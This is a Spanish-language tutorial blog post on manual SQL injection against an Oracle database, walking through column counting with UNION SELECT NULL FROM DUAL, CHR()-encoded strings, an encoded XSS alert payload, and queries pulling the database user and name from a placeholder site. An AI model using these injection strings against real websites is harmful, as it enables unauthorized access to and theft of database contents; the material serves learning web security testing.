Post24 nn

En esta oportunidad nos enfocaremos en la inyección SQL hacia Oracle. Este motor de base de datos tiene gran escalabilidad en relación a las empresas, por ende debido a su elevado precio este enfocado a entidades empresariales, sin embargo las inyecciones SQL no están exentas en dicho motor.

Tenemos el siguiente escenario:


      Inyección SQL - Oracle


Si al input del sitio web le añadimos una comilla simple, se obtiene lo siguiente:


   Inyección SQL – Oracle, input vulnerable


Aparentemente, esta aplicación es vulnerable a una inyección SQL. Como podemos observar, el mensaje de error que devuelve nos entra un error de tipo ORA-01756, este error corresponde al motor de base de datos de Oracle, por ende nos podemos dar cuenta de que esta inyección esta enfocada netamente a dicho motor. La forma de realizar una inyección SQL es un poco distinta  en relación a los motores de base de datos que vimos con anterioridad. Intentaremos realiza una inyección.

Estructura de inyección SQL en Oracle:


www.sitioweboracle.com/index.php?id=3 UNION SELECT 1,2,3 FROM DUAL --


Si no también


www.sitioweboracle.com/index.php?id=3 UNION SELECT NULL,NULL,NULL FROM DUAL --


En este tipo de inyecciones se recomienda utilizar valores nulos (NULL) ya que a veces es posible encontrarse con problemas de tipos de datos cuando se desea realizar una inyección, y de esta forma se evitan dichos problemas, además se utiliza la sentencia FROM DUAL. DUAL es una tabla comodín que se crea de forma automática al momento de instalar la Base de Datos Oracle, esta tabla tiene un solo campo y un solo registro. Esta tabla DUAL se puede usar para realizar operaciones matemáticas, crear filas virtuales, asignar valores, obtener secuencias, utilizar funciones, etc, a través de ella realizaremos ciertas consultas a la base de datos principal.

Inyección SQL en marcha:

    Inyección SQL – Oracle, inyectando campos (1)


A medida que vamos agregando un nuevo valor NULL a la inyección, nos aparece un error SQL que indica que la consulta realizada tiene una cantidad incorrecta de columnas, esto es muy útil ya que seguramente cuando lleguemos a la cantidad indicada de columnas, no nos debería aparecer dicho error, actualemente llevamos inyectado  una cantidad de 8 columnas, sigamos con la inyección.


       Inyección SQL – Oracle, inyectando campos (2)


En el campo número 11, nos aparece un error distinto, el cual indica que la sentencia SQL no se finalizó correctamente, esto aparentemente nos está indicando que hemos logrado detectar la cantidad de columnas, para estar seguros, probaremos agregando otro valor de tipo NULL para que ver que nos retorna.


  Inyección SQL – Oracle, inyectando campos (3)


En la columna número 12 nos devuelve el mismo mensaje de error que en la columna número 8, por ende podemos concluir que el campo número 11 corresponde a la cantidad de columnas de la BD. A continuación debemos verificar que campo(s) es(son) inyectable(s), para posteriormente poder realizar las consultas SQL pertinentes, para ello debemos verificar que campo es de tipo string (ya que en los campos de tipo string es posible llevar a cabo una inyección SQL). Para realizar esta prueba realizaremos lo siguiente:

www.sitioweboracle.com/index.php?id=3 UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL, NULL,NULL FROM DUAL --


Cada uno de los campos NULL será reemplazado por un valor de tipo string (ejemplo: ‘hola mundo’), si el valor agregado es visualizado en el sitio web, esto nos indicará que dicho campo es de tipo string.

www.sitioweboracle.com/index.php?id=3 UNION SELECT ‘hola mundo’,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL, NULL,NULL FROM DUAL --

El valor no es de tipo String

www.sitioweboracle.com/index.php?id=3 UNION SELECT NULL,’hola mundo’,NULL,NULL,NULL,NULL,NULL,NULL,NULL, NULL,NULL FROM DUAL --

El valor no es de tipo String

www.sitioweboracle.com/index.php?id=3 UNION SELECT NULL,NULL,’hola mundo’,NULL,NULL,NULL,NULL,NULL,NULL, NULL,NULL FROM DUAL --

El valor no es de tipo String

Al realizar este proceso con los 11 campos, no fue posible detectar ningún campo de tipo string. Sin embargo cabe resaltar que Oracle tiene la particularidad de interpretar datos de tipo string encodeados en forma CHAR. Como vimos en la inyección SQL de Postgresql, en un momento tuvimos que encodear un string en formato CHAR. Lo mismo podemos hacer en este caso para probar si el campo  interpreta nuestro CHAR y permite visualizar dicho valor. Para ello realizaremos la conversión con el sitio web que fue mencionado en el documento anterior:


http://www.waraxe.us/sql-char-encoder.html


Valor

Valor en formato CHAR de Oracle

hola mundo

CHR(104)||CHR(111)||CHR(108)||CHR(97)||CHR(32)||CHR(109)||CHR(117)||CHR(110)||CHR(100)||CHR(111)


A continuación realizaremos el mismo paso anterior pero en vez de utilizar el valor ‘hola mundo’, utilizaremos el valor encodeado.


www.sitioweboracle.com/index.php?id=3 UNION SELECT CHR(104)||CHR(111)||CHR(108)||CHR(97)||CHR(32)||CHR(109)||CHR(117)||CHR(110)||CHR(100)||CHR(111),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL, NULL,NULL FROM DUAL --

El valor no es de tipo String

www.sitioweboracle.com/index.php?id=3 UNION SELECT NULL, CHR(104)||CHR(111)||CHR(108)||CHR(97)||CHR(32)||CHR(109)||CHR(117)||CHR(110)||CHR(100)||CHR(111),NULL,NULL,NULL,NULL,NULL,NULL,NULL, NULL,NULL FROM DUAL --

El valor no es de tipo String

www.sitioweboracle.com/index.php?id=3 UNION SELECT NULL,NULL, CHR(104)||CHR(111)||CHR(108)||CHR(97)||CHR(32)||CHR(109)||CHR(117)||CHR(110)||CHR(100)||CHR(111),NULL,NULL,NULL,NULL,NULL,NULL, NULL,NULL FROM DUAL --

El valor no es de tipo String

En los primeros campos el valor no es de tipo string, sin embargo en los campos 6,7,8 y 9 nos devolvió el string dentro del sitio web, por lo tanto podemos deducir que en esos campos podemos llevar a cabo la inyección como tal.



                             Inyección SQL – Oracle, obteniendo campos de tipo String, campo 6


Inyección SQL – Oracle, obteniendo campos de tipo String, campo 7


Nos podemos percatar que es posible visualizar el valor “hola mundo” dentro del aplicativo web, por ende esto nos indica que en dichos campos podemos trabajar (lo mismo ocurre con los campos 8 y 9). También podemos verificar nuevamente que es posible realizar un Cross Site Scripting en dichos campos. Para esto encodeamos el siguiente vector de ataque:


String

<script>alert(“xss”)</script>

Encoeado

CHR(60)||CHR(115)||CHR(99)||CHR(114)||CHR(105)||CHR(112)||CHR(116)||CHR(62)||CHR(97)||CHR(108)||CHR(101)||CHR(114)||CHR(116)||CHR(40)||CHR(34)||CHR(120)||CHR(115)||CHR(115)||CHR(34)||CHR(41)||CHR(60)||CHR(47)||CHR(115)||CHR(99)||CHR(114)||CHR(105)||CHR(112)||CHR(116)||CHR(62)



www.sitioweboracle.com/index.php?id=3 UNION SELECT NULL,NULL, NULL,NULL,NULL, CHR(60)||CHR(115)||CHR(99)||CHR(114)||CHR(105)||CHR(112)||CHR(116)||CHR(62)||CHR(97)||CHR(108)||CHR(101)||CHR(114)||CHR(116)||CHR(40)||CHR(34)||CHR(120)||CHR(115)||CHR(115)||CHR(34)||CHR(41)||CHR(60)||CHR(47)||CHR(115)||CHR(99)||CHR(114)||CHR(105)||CHR(112)||CHR(116)||CHR(62),NULL,NULL,NULL, NULL,NULL FROM DUAL --


                           Inyección SQL – Oracle, XSS presente



Ahora procederemos a llevar a cabo la inyección para obtener información sensible, utilizaremos el campo número 6 para realizar esta prueba. Lo primero que haremos será obtener el usuario que se utiliza para administrar la base de datos Oracle (para realizar este proceso, no es necesario encodear las sentencias SQL).

La sentencia para obtener el usuario del DBMS  (Sistema de Gestión de Base de Datos) Oracle es la siguiente:

Select user From dual


www.sitioweboracle.com/index.php?id=3 UNION SELECT NULL,NULL,NULL,NULL,NULL,user,NULL,NULL,NULL, NULL,NULL FROM DUAL --


    Inyección SQL – Oracle, usuario del DBMS



El usuario del DBMS es INTERNET. Ahora detectaremos la base de datos conectada a la aplicación web, para ello utilizaremos la siguiente sentencia:

Select SYS.DATABASE_NAME From dual


       Inyección SQL – Oracle, base de datos conectada al aplicativo web


Este tutorial ayudó a comprender como funciona la inyección SQL en Oracle de manera manual, si deseas indagar sobre más vectores de ataque para esta inyección te dejo a continuación el siguiente link:


http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet



Artículos que te pueden interesar